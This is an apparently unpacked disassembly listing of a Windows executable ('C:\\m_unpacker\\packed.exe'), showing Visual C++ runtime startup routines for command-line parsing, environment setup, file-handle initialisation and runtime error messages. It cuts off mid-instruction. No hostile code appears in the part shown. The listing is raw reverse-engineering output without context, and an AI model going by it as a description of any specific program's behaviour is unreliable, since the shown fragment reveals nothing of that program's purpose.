cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2680000h mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j call near ptr 2640000h nop mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2640357h mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD call near ptr 2640000h nop mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2640398h mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax call near ptr 2870000h nop cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 263029Dh test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 2630A24h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 263029Dh test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 nop call near ptr 2630CABh pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2680000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2630A24h push eax nop call near ptr 2700000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2630000h loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2630000h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax call near ptr 26208E9h nop test eax, eax jnz short loc_42391D nop call near ptr 26908FFh jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, 